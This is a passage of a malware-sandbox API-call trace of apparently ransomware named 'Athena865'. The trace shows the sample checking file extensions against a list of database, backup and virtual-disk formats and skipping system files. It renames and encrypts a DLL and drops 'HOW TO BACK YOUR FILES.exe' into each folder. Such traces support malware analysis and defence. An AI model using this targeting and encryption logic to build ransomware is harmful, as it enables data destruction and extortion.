lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0120.749] lstrlenW (lpString="p96") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0120.749] lstrlenW (lpString="p97") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0120.749] lstrlenW (lpString="pan") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0120.749] lstrlenW (lpString="pdb") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0120.749] lstrlenW (lpString="pdm") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0120.749] lstrlenW (lpString="pnz") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0120.749] lstrlenW (lpString="qry") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0120.749] lstrlenW (lpString="qvd") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0120.749] lstrlenW (lpString="rbf") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0120.749] lstrlenW (lpString="rctd") returned 4 [0120.749] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0120.749] lstrlenW (lpString="rod") returned 3 [0120.749] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0120.749] lstrlenW (lpString="rodx") returned 4 [0120.749] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0120.749] lstrlenW (lpString="rpd") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0120.750] lstrlenW (lpString="rsd") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0120.750] lstrlenW (lpString="sas7bdat") returned 8 [0120.750] lstrcmpiW (lpString1="i100.dll", lpString2="sas7bdat") returned -1 [0120.750] lstrlenW (lpString="sbf") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0120.750] lstrlenW (lpString="scx") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0120.750] lstrlenW (lpString="sdb") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0120.750] lstrlenW (lpString="sdc") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0120.750] lstrlenW (lpString="sdf") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0120.750] lstrlenW (lpString="sis") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0120.750] lstrlenW (lpString="spq") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0120.750] lstrlenW (lpString="te") returned 2 [0120.750] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0120.750] lstrlenW (lpString="teacher") returned 7 [0120.750] lstrcmpiW (lpString1="100.dll", lpString2="teacher") returned -1 [0120.750] lstrlenW (lpString="tmd") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0120.750] lstrlenW (lpString="tps") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0120.750] lstrlenW (lpString="trc") returned 3 [0120.750] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0120.751] lstrlenW (lpString="trc") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0120.751] lstrlenW (lpString="trm") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0120.751] lstrlenW (lpString="udb") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0120.751] lstrlenW (lpString="udl") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0120.751] lstrlenW (lpString="usr") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0120.751] lstrlenW (lpString="v12") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0120.751] lstrlenW (lpString="vis") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0120.751] lstrlenW (lpString="vpd") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0120.751] lstrlenW (lpString="vvv") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0120.751] lstrlenW (lpString="wdb") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0120.751] lstrlenW (lpString="wmdb") returned 4 [0120.751] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0120.751] lstrlenW (lpString="wrk") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0120.751] lstrlenW (lpString="xdb") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0120.751] lstrlenW (lpString="xld") returned 3 [0120.751] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0120.751] lstrlenW (lpString="xmlff") returned 5 [0120.752] lstrcmpiW (lpString1="0.dll", lpString2="xmlff") returned -1 [0120.752] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll.Athena865") returned 80 [0120.752] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll.Athena865" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll.athena865"), dwFlags=0x1) returned 1 [0120.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll.Athena865" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0120.755] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=318488) returned 1 [0120.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.759] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.759] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.759] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.760] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4df20, lpName=0x0) returned 0x17c [0120.763] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4df20) returned 0x2d50000 [0120.780] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.781] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.781] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.781] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0120.784] CloseHandle (hObject=0x17c) returned 1 [0120.784] CloseHandle (hObject=0x154) returned 1 [0120.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.786] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2=".") returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="..") returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="windows") returned -1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="bootmgr") returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="temp") returned -1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="pagefile.sys") returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="boot") returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="ids.txt") returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="ntuser.dat") returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="perflogs") returned 1 [0120.786] lstrcmpiW (lpString1="Resources", lpString2="MSBuild") returned 1 [0120.786] lstrlenW (lpString="Resources") returned 9 [0120.786] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Resources" | out: lpString1="Resources") returned="Resources" [0120.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552278 [0120.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x86) returned 0x550398 [0120.786] lstrcatW (in: lpString1="Resources", lpString2="\\" | out: lpString1="Resources\\") returned="Resources\\" [0120.786] lstrcatW (in: lpString1="Resources\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Resources\\HOW TO BACK YOUR FILES.exe") returned="Resources\\HOW TO BACK YOUR FILES.exe" [0120.786] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\how to back your files.exe"), bFailIfExists=1) returned 1 [0120.789] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0120.789] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0120.790] ReleaseMutex (hMutex=0xec) returned 1 [0120.790] CloseHandle (hObject=0xec) returned 1 [0120.790] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ef90 | out: hHeap=0x4f0000) returned 1 [0120.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c338 | out: hHeap=0x4f0000) returned 1 [0120.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned 50 [0120.790] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\58C61BF4C4E4BA6BCFED67899A28061E") returned 0xec [0120.790] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0120.790] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.790] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0120.790] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to back your files.exe"), bFailIfExists=1) returned 0 [0120.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0120.791] GetLastError () returned 0x0 [0120.791] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0120.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552940 [0120.791] ReadFile (in: hFile=0xf4, lpBuffer=0x552940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0120.792] CloseHandle (hObject=0xf4) returned 1 [0120.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.792] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0120.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce681920, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce681920, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0120.796] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.796] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.796] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0120.796] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce681920, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce681920, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.797] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.797] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.797] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0120.797] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0120.797] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0120.797] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0120.797] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0120.797] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".") returned 1 [0120.797] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="..") returned 1 [0120.797] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="windows") returned -1 [0120.797] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="bootmgr") returned -1 [0120.797] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="temp") returned -1 [0120.798] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="pagefile.sys") returned -1 [0120.798] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="boot") returned -1 [0120.798] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="ids.txt") returned -1 [0120.798] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="ntuser.dat") returned -1 [0120.798] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="perflogs") returned -1 [0120.798] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="MSBuild") returned -1 [0120.798] lstrlenW (lpString="AG00004_.GIF") returned 12 [0120.798] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00004_.GIF" | out: lpString1="AG00004_.GIF") returned="AG00004_.GIF" [0120.798] lstrlenW (lpString="AG00004_.GIF") returned 12 [0120.798] lstrlenW (lpString="Athena865") returned 9 [0120.798] lstrcmpiW (lpString1="0004_.GIF", lpString2="Athena865") returned -1 [0120.798] lstrlenW (lpString=".dll") returned 4 [0120.798] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".dll") returned 1 [0120.798] lstrlenW (lpString=".lnk") returned 4 [0120.798] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".lnk") returned 1 [0120.798] lstrlenW (lpString=".ini") returned 4 [0120.798] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".ini") returned 1 [0120.798] lstrlenW (lpString=".sys") returned 4 [0120.798] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".sys") returned 1 [0120.798] lstrlenW (lpString="AG00004_.GIF") returned 12 [0120.798] lstrlenW (lpString="bak") returned 3 [0120.798] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0120.798] lstrlenW (lpString="ba_") returned 3 [0120.798] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0120.798] lstrlenW (lpString="dbb") returned 3 [0120.798] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0120.798] lstrlenW (lpString="vmdk") returned 4 [0120.799] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0120.799] lstrlenW (lpString="rar") returned 3 [0120.799] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0120.799] lstrlenW (lpString="zip") returned 3 [0120.799] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0120.799] lstrlenW (lpString="tgz") returned 3 [0120.799] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0120.799] lstrlenW (lpString="vbox") returned 4 [0120.799] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0120.799] lstrlenW (lpString="vdi") returned 3 [0120.799] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0120.799] lstrlenW (lpString="vhd") returned 3 [0120.799] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0120.799] lstrlenW (lpString="vhdx") returned 4 [0120.799] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0120.799] lstrlenW (lpString="avhd") returned 4 [0120.799] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0120.799] lstrlenW (lpString="db") returned 2 [0120.799] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0120.799] lstrlenW (lpString="db2") returned 3 [0120.799] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0120.799] lstrlenW (lpString="db3") returned 3 [0120.799] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0120.799] lstrlenW (lpString="dbf") returned 3 [0120.799] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0120.799] lstrlenW (lpString="mdf") returned 3 [0120.799] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0120.799] lstrlenW (lpString="mdb") returned 3 [0120.799] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0120.799] lstrlenW (lpString="sql") returned 3 [0120.800] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0120.800] lstrlenW (lpString="sqlite") returned 6 [0120.800] lstrcmpiW (lpString1="4_.GIF", lpString2="sqlite") returned -1 [0120.800] lstrlenW (lpString="sqlite3") returned 7 [0120.800] lstrcmpiW (lpString1="04_.GIF", lpString2="sqlite3") returned -1 [0120.800] lstrlenW (lpString="sqlitedb") returned 8 [0120.800] lstrcmpiW (lpString1="004_.GIF", lpString2="sqlitedb") returned -1 [0120.800] lstrlenW (lpString="xml") returned 3 [0120.800] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0120.800] lstrlenW (lpString="$er") returned 3 [0120.800] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0120.800] lstrlenW (lpString="4dd") returned 3 [0120.800] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0120.800] lstrlenW (lpString="4dl") returned 3 [0120.800] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0120.800] lstrlenW (lpString="^^^") returned 3 [0120.800] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0120.800] lstrlenW (lpString="abs") returned 3 [0120.800] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0120.800] lstrlenW (lpString="abx") returned 3 [0120.800] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0120.800] lstrlenW (lpString="accdb") returned 5 [0120.800] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0120.800] lstrlenW (lpString="accdc") returned 5 [0120.800] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0120.800] lstrlenW (lpString="accde") returned 5 [0120.800] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0120.800] lstrlenW (lpString="accdr") returned 5 [0120.800] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0120.801] lstrlenW (lpString="accdt") returned 5 [0120.801] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0120.801] lstrlenW (lpString="accdw") returned 5 [0120.801] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0120.801] lstrlenW (lpString="accft") returned 5 [0120.801] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0120.801] lstrlenW (lpString="adb") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.801] lstrlenW (lpString="adb") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0120.801] lstrlenW (lpString="ade") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0120.801] lstrlenW (lpString="adf") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0120.801] lstrlenW (lpString="adn") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0120.801] lstrlenW (lpString="adp") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0120.801] lstrlenW (lpString="alf") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0120.801] lstrlenW (lpString="ask") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0120.801] lstrlenW (lpString="btr") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0120.801] lstrlenW (lpString="cat") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0120.801] lstrlenW (lpString="cdb") returned 3 [0120.801] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0120.801] lstrlenW (lpString="ckp") returned 3 [0120.802] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0120.802] lstrlenW (lpString="cma") returned 3 [0120.802] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0120.802] lstrlenW (lpString="cpd") returned 3 [0120.802] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0120.802] lstrlenW (lpString="dacpac") returned 6 [0120.802] lstrcmpiW (lpString1="4_.GIF", lpString2="dacpac") returned -1 [0120.802] lstrlenW (lpString="dad") returned 3 [0120.802] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0120.802] lstrlenW (lpString="dadiagrams") returned 10 [0120.802] lstrcmpiW (lpString1="00004_.GIF", lpString2="dadiagrams") returned -1 [0120.802] lstrlenW (lpString="daschema") returned 8 [0120.802] lstrcmpiW (lpString1="004_.GIF", lpString2="daschema") returned -1 [0120.802] lstrlenW (lpString="db-journal") returned 10 [0120.802] lstrcmpiW (lpString1="00004_.GIF", lpString2="db-journal") returned -1 [0120.802] lstrlenW (lpString="db-shm") returned 6 [0120.802] lstrcmpiW (lpString1="4_.GIF", lpString2="db-shm") returned -1 [0120.802] lstrlenW (lpString="db-wal") returned 6 [0120.802] lstrcmpiW (lpString1="4_.GIF", lpString2="db-wal") returned -1 [0120.802] lstrlenW (lpString="dbc") returned 3 [0120.802] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0120.802] lstrlenW (lpString="dbs") returned 3 [0120.802] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0120.802] lstrlenW (lpString="dbt") returned 3 [0120.802] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0120.802] lstrlenW (lpString="dbv") returned 3 [0120.802] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0120.802] lstrlenW (lpString="dbx") returned 3 [0120.802] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0120.803] lstrlenW (lpString="dcb") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0120.803] lstrlenW (lpString="dct") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0120.803] lstrlenW (lpString="dcx") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0120.803] lstrlenW (lpString="ddl") returned 3 [0120.803] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0120.803] lstrlenW (lpString="dlis") returned 4 [0120.803] 